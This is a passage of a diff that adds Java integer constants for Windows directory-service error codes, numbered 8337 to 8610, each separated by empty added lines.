+  public static final int ERROR_DS_CANT_DEREF_ALIAS = 8337;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OUT_OF_SCOPE = 8338;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJECT_BEING_REMOVED = 8339;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_DELETE_DSA_OBJ = 8340;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GENERIC_ERROR = 8341;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DSA_MUST_BE_INT_MASTER = 8342;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CLASS_NOT_DSA = 8343;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INSUFF_ACCESS_RIGHTS = 8344;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ILLEGAL_SUPERIOR = 8345;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 8346;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_TOO_MANY_PARTS = 8347;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_TOO_LONG = 8348;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_VALUE_TOO_LONG = 8349;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_UNPARSEABLE = 8350;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_TYPE_UNKNOWN = 8351;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NOT_AN_OBJECT = 8352;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SEC_DESC_TOO_SHORT = 8353;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SEC_DESC_INVALID = 8354;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_DELETED_NAME = 8355;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SUBREF_MUST_HAVE_PARENT = 8356;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NCNAME_MUST_BE_NC = 8357;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_ADD_SYSTEM_ONLY = 8358;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CLASS_MUST_BE_CONCRETE = 8359;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_DMD = 8360;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJ_GUID_EXISTS = 8361;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NOT_ON_BACKLINK = 8362;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_CROSSREF_FOR_NC = 8363;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SHUTTING_DOWN = 8364;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_UNKNOWN_OPERATION = 8365;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_ROLE_OWNER = 8366;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_COULDNT_CONTACT_FSMO = 8367;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CROSS_NC_DN_RENAME = 8368;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MOD_SYSTEM_ONLY = 8369;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_REPLICATOR_ONLY = 8370;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJ_CLASS_NOT_DEFINED = 8371;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 8372;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_REFERENCE_INVALID = 8373;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CROSS_REF_EXISTS = 8374;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_DEL_MASTER_CROSSREF = 8375;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 8376;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 8377;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DUP_RDN = 8378;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DUP_OID = 8379;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DUP_MAPI_ID = 8380;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DUP_SCHEMA_ID_GUID = 8381;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DUP_LDAP_DISPLAY_NAME = 8382;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SEMANTIC_ATT_TEST = 8383;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SYNTAX_MISMATCH = 8384;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_EXISTS_IN_MUST_HAVE = 8385;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_EXISTS_IN_MAY_HAVE = 8386;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NONEXISTENT_MAY_HAVE = 8387;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NONEXISTENT_MUST_HAVE = 8388;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_AUX_CLS_TEST_FAIL = 8389;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NONEXISTENT_POSS_SUP = 8390;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SUB_CLS_TEST_FAIL = 8391;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 8392;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_EXISTS_IN_AUX_CLS = 8393;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_EXISTS_IN_SUB_CLS = 8394;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_EXISTS_IN_POSS_SUP = 8395;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_RECALCSCHEMA_FAILED = 8396;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_TREE_DELETE_NOT_FINISHED = 8397;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_DELETE = 8398;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATT_SCHEMA_REQ_ID = 8399;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 8400;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_CACHE_ATT = 8401;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_CACHE_CLASS = 8402;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_REMOVE_ATT_CACHE = 8403;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_REMOVE_CLASS_CACHE = 8404;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_RETRIEVE_DN = 8405;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MISSING_SUPREF = 8406;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_RETRIEVE_INSTANCE = 8407;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CODE_INCONSISTENCY = 8408;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DATABASE_ERROR = 8409;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GOVERNSID_MISSING = 8410;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MISSING_EXPECTED_ATT = 8411;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NCNAME_MISSING_CR_REF = 8412;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SECURITY_CHECKING_ERROR = 8413;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SCHEMA_NOT_LOADED = 8414;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SCHEMA_ALLOC_FAILED = 8415;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 8416;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GCVERIFY_ERROR = 8417;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_SCHEMA_MISMATCH = 8418;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_FIND_DSA_OBJ = 8419;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_FIND_EXPECTED_NC = 8420;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_FIND_NC_IN_CACHE = 8421;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_RETRIEVE_CHILD = 8422;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SECURITY_ILLEGAL_MODIFY = 8423;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_REPLACE_HIDDEN_REC = 8424;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_BAD_HIERARCHY_FILE = 8425;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 8426;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CONFIG_PARAM_MISSING = 8427;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_COUNTING_AB_INDICES_FAILED = 8428;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 8429;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INTERNAL_FAILURE = 8430;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_UNKNOWN_ERROR = 8431;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ROOT_REQUIRES_CLASS_TOP = 8432;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_REFUSING_FSMO_ROLES = 8433;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MISSING_FSMO_SETTINGS = 8434;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_UNABLE_TO_SURRENDER_ROLES = 8435;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_GENERIC = 8436;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_INVALID_PARAMETER = 8437;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_BUSY = 8438;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_BAD_DN = 8439;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_BAD_NC = 8440;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_DN_EXISTS = 8441;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_INTERNAL_ERROR = 8442;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_INCONSISTENT_DIT = 8443;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_CONNECTION_FAILED = 8444;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_BAD_INSTANCE_TYPE = 8445;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_OUT_OF_MEM = 8446;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_MAIL_PROBLEM = 8447;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_REF_ALREADY_EXISTS = 8448;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_REF_NOT_FOUND = 8449;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_OBJ_IS_REP_SOURCE = 8450;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_DB_ERROR = 8451;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_NO_REPLICA = 8452;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_ACCESS_DENIED = 8453;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_NOT_SUPPORTED = 8454;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_RPC_CANCELLED = 8455;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_SOURCE_DISABLED = 8456;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_SINK_DISABLED = 8457;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_NAME_COLLISION = 8458;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_SOURCE_REINSTALLED = 8459;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_MISSING_PARENT = 8460;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_PREEMPTED = 8461;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_ABANDON_SYNC = 8462;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_SHUTDOWN = 8463;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 8464;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 8465;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_EXTN_CONNECTION_FAILED = 8466;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INSTALL_SCHEMA_MISMATCH = 8467;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DUP_LINK_ID = 8468;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_ERROR_RESOLVING = 8469;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_ERROR_NOT_FOUND = 8470;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_ERROR_NOT_UNIQUE = 8471;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_ERROR_NO_MAPPING = 8472;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_ERROR_DOMAIN_ONLY = 8473;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 8474;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CONSTRUCTED_ATT_MOD = 8475;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_WRONG_OM_OBJ_CLASS = 8476;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_REPL_PENDING = 8477;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DS_REQUIRED = 8478;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_LDAP_DISPLAY_NAME = 8479;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NON_BASE_SEARCH = 8480;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_RETRIEVE_ATTS = 8481;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_BACKLINK_WITHOUT_LINK = 8482;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_EPOCH_MISMATCH = 8483;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SRC_NAME_MISMATCH = 8484;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SRC_AND_DST_NC_IDENTICAL = 8485;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DST_NC_MISMATCH = 8486;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 8487;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SRC_GUID_MISMATCH = 8488;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MOVE_DELETED_OBJECT = 8489;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_PDC_OPERATION_IN_PROGRESS = 8490;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 8491;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 8492;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 8493;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NC_MUST_HAVE_NC_PARENT = 8494;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 8495;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DST_DOMAIN_NOT_NATIVE = 8496;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 8497;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 8498;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MOVE_RESOURCE_GROUP = 8499;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_SEARCH_FLAG = 8500;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_TREE_DELETE_ABOVE_NC = 8501;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 8502;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 8503;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SAM_INIT_FAILURE = 8504;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SENSITIVE_GROUP_VIOLATION = 8505;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MOD_PRIMARYGROUPID = 8506;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 8507;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NONSAFE_SCHEMA_CHANGE = 8508;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SCHEMA_UPDATE_DISALLOWED = 8509;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_CREATE_UNDER_SCHEMA = 8510;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 8511;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 8512;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_GROUP_TYPE = 8513;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 8514;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 8515;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 8516;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 8517;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 8518;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 8519;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 8520;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_HAVE_PRIMARY_MEMBERS = 8521;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_STRING_SD_CONVERSION_FAILED = 8522;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAMING_MASTER_GC = 8523;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DNS_LOOKUP_FAILURE = 8524;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_COULDNT_UPDATE_SPNS = 8525;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_RETRIEVE_SD = 8526;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_KEY_NOT_UNIQUE = 8527;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_WRONG_LINKED_ATT_SYNTAX = 8528;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 8529;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 8530;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_START = 8531;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INIT_FAILURE = 8532;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 8533;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SOURCE_DOMAIN_IN_FOREST = 8534;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 8535;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 8536;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 8537;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 8538;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SRC_SID_EXISTS_IN_FOREST = 8539;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 8540;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SAM_INIT_FAILURE = 8541;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_SCHEMA_INFO_SHIP = 8542;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_SCHEMA_CONFLICT = 8543;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 8544;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRA_OBJ_NC_MISMATCH = 8545;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NC_STILL_HAS_DSAS = 8546;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GC_REQUIRED = 8547;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 8548;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 8549;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_ADD_TO_GC = 8550;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_CHECKPOINT_WITH_PDC = 8551;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 8552;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 8553;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_NAME_FOR_SPN = 8554;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 8555;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 8556;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 8557;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MUST_BE_RUN_ON_DST_DC = 8558;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 8559;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 8560;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INIT_FAILURE_CONSOLE = 8561;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SAM_INIT_FAILURE_CONSOLE = 8562;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_FOREST_VERSION_TOO_HIGH = 8563;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DOMAIN_VERSION_TOO_HIGH = 8564;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_FOREST_VERSION_TOO_LOW = 8565;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DOMAIN_VERSION_TOO_LOW = 8566;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INCOMPATIBLE_VERSION = 8567;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_LOW_DSA_VERSION = 8568;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 8569;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NOT_SUPPORTED_SORT_ORDER = 8570;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_NOT_UNIQUE = 8571;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 8572;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_OUT_OF_VERSION_STORE = 8573;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INCOMPATIBLE_CONTROLS_USED = 8574;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_REF_DOMAIN = 8575;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_RESERVED_LINK_ID = 8576;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_LINK_ID_NOT_AVAILABLE = 8577;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 8578;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 8579;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 8580;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 8581;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 8582;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NAME_ERROR_TRUST_REFERRAL = 8583;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 8584;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 8585;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 8586;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_THREAD_LIMIT_EXCEEDED = 8587;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NOT_CLOSEST = 8588;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 8589;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_SINGLE_USER_MODE_FAILED = 8590;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 8591;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NTDSCRIPT_PROCESS_ERROR = 8592;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DIFFERENT_REPL_EPOCHS = 8593;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DRS_EXTENSIONS_CHANGED = 8594;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 8595;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_NO_MSDS_INTID = 8596;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DUP_MSDS_INTID = 8597;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_EXISTS_IN_RDNATTID = 8598;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_AUTHORIZATION_FAILED = 8599;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INVALID_SCRIPT = 8600;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_REMOTE_CROSSREF_OP_FAILED = 8601;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CROSS_REF_BUSY = 8602;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN = 8603;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC = 8604;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_DUPLICATE_ID_FOUND = 8605;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT = 8606;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_GROUP_CONVERSION_ERROR = 8607;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MOVE_APP_BASIC_GROUP = 8608;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_CANT_MOVE_APP_QUERY_GROUP = 8609;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_DS_ROLE_NOT_VERIFIED = 8610;
+  
+
+
+
+
+
+
+
